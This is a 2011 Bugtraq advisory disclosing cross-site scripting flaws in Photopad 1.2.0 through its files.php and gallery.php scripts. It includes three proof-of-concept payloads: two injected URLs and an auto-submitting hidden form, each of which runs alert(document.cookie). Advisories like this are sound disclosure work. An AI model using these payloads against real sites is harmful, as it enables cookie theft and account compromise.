[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201102151111.p1FBBX1H088070@htbridge.ch>
Date: Tue, 15 Feb 2011 12:11:33 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22828: Multiple XSS vulnerabilities in Photopad
Vulnerability ID: HTB22828
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_photopad.html
Product: Photopad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "files.php" and "gallery.php" scripts to properly sanitize user-supplied input in "id", "data[title]" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerabilities. The following PoC is available:
1.
http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</script>
2.
http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</script>
3.
<form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>
</form>
<script>
document.main.submit();
</script>
Powered by blists - more mailing lists